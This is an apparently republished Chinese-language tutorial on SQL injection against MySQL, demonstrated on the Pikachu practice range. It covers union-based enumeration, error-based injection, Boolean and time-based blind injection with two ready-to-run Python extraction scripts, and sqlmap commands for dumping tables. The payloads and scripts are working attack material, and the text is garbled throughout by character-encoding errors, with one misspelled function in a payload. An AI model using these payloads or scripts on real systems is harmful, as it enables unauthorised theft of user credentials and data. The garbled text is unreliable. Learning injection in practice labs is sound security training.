目錄
前言:
1.【入門】普通查詢型注入:
1.0 實驗環(huán)境:
1.1進行一次普通的查詢:
1.2 進行注入得到用戶信息:
1.2.1 執(zhí)行注入:
1.2.2 注入語句分析:
1.3 整型注入與字符型注入?yún)^(qū)別:
2.【進階】從庫到列逐步注入:
2.1 預備知識:
2.1.1 union函數(shù):
2.1.2 order by函數(shù):
2.1.3 information_schema 庫:
2.2 注入實戰(zhàn):
2.2.1 查字段數(shù):
2.2.2 查數(shù)據(jù)庫名:
2.2.3 查庫中所有的表名:
2.2.4 查表中所有的列名:
2.2.5 根據(jù)字段查詢表中信息:
2.2.6 總結:
3.【高階】 利用報錯語句注入:
3.1 有關函數(shù):
3.1.1 extractvalue()
3.1.2 updatexml()
3.2 注入實戰(zhàn)
4.【高階】布爾盲注:
4.1 什么是布爾盲注:
4.2 布爾盲注示例:
4.3 布爾盲注腳本:
5.【高階】時間盲注:
5.1 什么是時間盲注:
5.2 時間盲注示例:
5.3 時間盲注腳本:
6.【附加】Sqlmap使用:
6.1 什么是sqlmap:
6.2 基本使用方法:
前言:
? SQL注入漏洞OWASP Top 10漏洞之一,指黑客通過將惡意的SQL語句插入到Web應用程序的輸入?yún)?shù)中,進而使后臺的數(shù)據(jù)庫服務器受到攻擊的行為。這種漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺處理時,沒有做嚴格的判斷,導致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當作SQL語句的一部分執(zhí)行,從而導致數(shù)據(jù)庫受損,用戶隱私及機密數(shù)據(jù)遭到泄露
1.【入門】普通查詢型注入:
1.0 實驗環(huán)境:
用于實驗的表為:
假設后臺查詢語句為:
select password from users where id='$GET['id']';
分析語句可得,該語句會根據(jù)我們GET方式提交的參數(shù) id? 提交到數(shù)據(jù)庫中查詢id列中與提交的id參數(shù)相等的一行中password列所對應的值
1.1進行一次普通的查詢:
語句為:
select password from users where id='tom';
這里我們提交的id參數(shù)為tom,也就是所在表中查詢tom的password
結果為:
?顯而易見,我們查找出了tom的password
1.2 進行注入得到用戶信息:
1.2.1 執(zhí)行注入:
注入語句為:
select password from users where id='tom' or 1=1;#';
#我們傳入的 id 為 tom' or 1=1;#
結果為:
我們可以看到爆出了所有的用戶信息
1.2.2 注入語句分析:
我們給后臺傳入的id值為:
tom' or 1=1;#
后臺形成查詢語句為:
select password from users where id='tom' or 1=1;#';
紅色的單引號為查詢語句自帶的,橙色單引號為我們傳入的
- 可以看到第一個紅色單引號與我們傳入的單引號進行了配對,而第二個紅色單引號者被我們傳入的#號注釋在外面(在sql語句中#號起注釋作用),然后 tom由于被我們傳入的單引號提前閉合,形成第一個查詢條件
- or 代表邏輯運算符,代表或
- 第二個查詢條件為:1=1 這條語句的結果永遠為真(1永遠等于1)
分析到這里,查詢語句可簡化為:
select password from users where id='tom' or True;
可以理解為 id='tom' 或 為真
也就是說id只要還有存在的值,那么語句便會一直查找下去(id等于該列中任何一個值結果都為True)
1.3 整型注入與字符型注入?yún)^(qū)別:
上文所描述的注入實例為字符型,在實戰(zhàn)環(huán)境中往往也會出現(xiàn)字符型
兩種查詢語句對比如下:
select password from users where id='$GET['id']'; #字符型
我們可以看到傳入的參數(shù)在單引號中,故為字符型,因為字符串要被單引號括住
select password from users where id=$GET['id']; #整型
我們可以看到傳入的參數(shù)兩邊無單引號,故為整型
遇到字符型注入時,不需要構造引號閉合(因為后臺語句沒有單引號),只須最后用引號注釋掉后面即可
2.【進階】從庫到列逐步注入:
?? 一般存在查詢型注入,我們不只可以查詢所有的同類型信息,還可以查詢到數(shù)據(jù)庫的版本、名稱,及其所有的表、字段信息
2.1 預備知識:
2.1.1 union函數(shù):
對前后兩個select語句進行并集操作,不包括重復行,同時進行默認規(guī)則的排序;需要前后兩個select語句查詢的字段數(shù)相同,我們可以根據(jù)此函數(shù)自定義一個select語句,用來查詢我們想要的信息
2.1.2 order by函數(shù):
此函數(shù)后面跟數(shù)字,指的是根據(jù) select 后面查詢的列進行分組、排序等,1 代表第一個列,2代表第二個列,依次類推,如果我們所輸入的數(shù)字大于select后所查詢的列數(shù),那么就會返回失敗,所以我們可以通過不斷改變后面的數(shù)字來確定前select語句所查詢的字段數(shù)
2.1.3 information_schema 庫:
這是 MySQL 自帶的信息數(shù)據(jù)庫,用于存儲數(shù)據(jù)庫元數(shù)據(jù)(關于數(shù)據(jù)庫的數(shù)據(jù)),例如數(shù)據(jù)庫名、表名、列的數(shù)據(jù)類型、訪問權限等。我們可在information_schema.tables這個表中查到該數(shù)據(jù)庫的所有表
?該內容表如下
2.2 注入實戰(zhàn):
這里以pikachu靶場為例
2.2.1 查字段數(shù):
xx' order by 2#
2不報錯,3報錯,說明后臺查詢字段數(shù)為2,我們拼湊的查詢語句字段數(shù)也應為2
結果為:
2.2.2 查數(shù)據(jù)庫名:
xx' union select database(),1#
database()為MySQL的一個環(huán)境變量,代表當前數(shù)據(jù)庫
1是用來湊數(shù)的,因為前面的select語句為2個字段
或者
xxx' union select 1,group_concat(schema_name) from information_schema.schemata#
這個是通過information_schema庫(下文有講),查詢當前用戶所有數(shù)據(jù)庫
結果為:
?
2.2.3 查庫中所有的表名:
- 這里用到了information_schema庫的tables表,里面有所有數(shù)據(jù)庫內表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#
??結果為:
2.2.4 查表中所有的列名:
- 這里用到了information_schema庫的columns表,里面有所有表內列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#
結果為:?
?
2.2.5 根據(jù)字段查詢表中信息:
xx' union select username,password from users#
?結果為:?
?
2.2.6 總結:
- 我們首先爆出了當前數(shù)據(jù)庫名,然后又爆出了該數(shù)據(jù)庫所有的表名,又選取users表,爆出了其中大的列名,最后通過union查詢出了username,password列的信息
3.【高階】 利用報錯語句注入:
在某些環(huán)境下,我們不止可以通過select語句進行注入,還以通過報錯語句進行注入,利用報錯語句帶出數(shù)據(jù)
3.1 有關函數(shù):
3.1.1 extractvalue()
格式為:
extractvalue(xml_document,XPath_string)
xml_document:一個包含XML文檔的字符串
XPath_string:一個XPath表達式,用于定位需要提取的值
- 如果參數(shù)信息對應的xml文件路徑不存在,那么就會以報錯的形式返回錯誤的路徑,我們可以令路徑參數(shù)為查詢語句,這樣就會以報錯的形式返回查詢語句的結果?
3.1.2 updatexml()
格式為:
格式為
updatexml(xml_document,XPath_string,new_value)
xml_document:一個包含XML文檔的字符串,
XPath_string:一個XPath表達式,用于定位需要修改的節(jié)點
new_value:要替換為的新值。
- 該函數(shù)性質與上個相同,路徑不對就會報錯,利用方式也與上個相同
3.2 注入實戰(zhàn)
同樣以pikachu靶場為例
payload:
xx' and updatexml(1,datebase(),0)#
?我們可以看到爆出了數(shù)據(jù)庫名(?這里僅以查詢數(shù)據(jù)庫名為例,步驟與上文類似,替換XPath_string參數(shù)為對應查尋語句即可)
4.【高階】布爾盲注:
4.1 什么是布爾盲注:
布爾盲注是一種SQL注入技術,它基于真和假的邏輯判斷。攻擊者通過構造一些布爾表達式,并根據(jù)頁面顯示的不同響應來判斷是否注入成功
4.2 布爾盲注示例:
例如pikachu這一關:在輸入信息不存在時,會返回相同的一句話
我們可通過返回的信息,判斷注入真假
4.3 布爾盲注腳本:
- 該腳本的原理是使用 and 邏輯運算符 將查詢?yōu)檎娴臈l件,和我們按照ASCII表逐一爆破的庫名,表名等連接在一起只有都為真時,才會返回成功查詢的標志(手工注入幾乎不可能,太費時間,大部分情況都使用腳本)
//該腳本只能爆出數(shù)據(jù)庫名,爆其他信息手動更改payload即可
import requests
url="xxxx/?id="
flag=''
for i in range(1,10):
print(i)
low=32
high=128
mid=(low+high)//2
while low<high:
payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)
r=requests.get(url=url+payload)
if "You are in" in r.text:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32):
break
flag=flag+chr(mid)
print(flag)
5.【高階】時間盲注:
5.1 什么是時間盲注:
時間盲注是一種基于時間的SQL注入攻擊技術。在某些情況下,頁面會只有一種返回結果,無法通過正常的方式判斷是否注入成功,這時,攻擊者可以利用延時函數(shù)如sleep()
和benchmark()
等,在SQL語句中加入等待一定時間的命令,根據(jù)頁面的響應時間來判斷條件是否正確
5.2 時間盲注示例:
例如pikachu這一關:?當我們輸入不存在的用戶名時,只會返回同樣的一句話
?無論我們傳入的數(shù)據(jù)是否存在,返回結果均相同,所以我們要通過響應時間判斷注入對錯文章來源:http://www.zghlxwxcb.cn/news/detail-455010.html
5.3 時間盲注腳本:
- ?根據(jù)實際場景修改url以及payload即可使用,腳本原理與布爾盲注腳本相似
該腳本只能爆出數(shù)據(jù)庫名,爆其他信息手動更改payload即可
import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="
for i in range(1,100):
print(i)
low=32
high=128
mid=(low+high)//2
while low<high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)
stat_time = time.time()
r = session.get(url=url+payload)
end_time = time.time()
t = end_time - stat_time
if t > 1:
low = mid + 1
else:
high = mid
mid = (low + high)//2
if mid==32:
break
flag=flag+chr(mid)
print(flag)
6.【附加】Sqlmap使用:
6.1 什么是sqlmap:
? sqlmap
是一款開源的自動化SQL注入工具,可以用于檢測和利用Web應用程序中的SQL注入漏洞,并獲取數(shù)據(jù)庫的敏感信息。該工具支持多種數(shù)據(jù)庫類型(如MySQL、Oracle、PostgreSQL等)和操作系統(tǒng)(如Windows、Linux等)官網下載鏈接文章來源地址http://www.zghlxwxcb.cn/news/detail-455010.html
6.2 基本使用方法:
sqlmap -u "http://www.xx.com?id=x" 查詢是否存在注入點
--dbs 檢測站點包含哪些數(shù)據(jù)庫
--current-db 獲取當前的數(shù)據(jù)庫名
--tables -D "db_name" 獲取指定數(shù)據(jù)庫中的表名
--columns -T "table_name" -D "db_name" 獲取數(shù)據(jù)庫表中的字段
--dump -C "columns_name" -T "table_name" -D "db_name" 獲取指定列的數(shù)據(jù)內容
到了這里,關于【數(shù)據(jù)庫】SQL注入從0到1的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!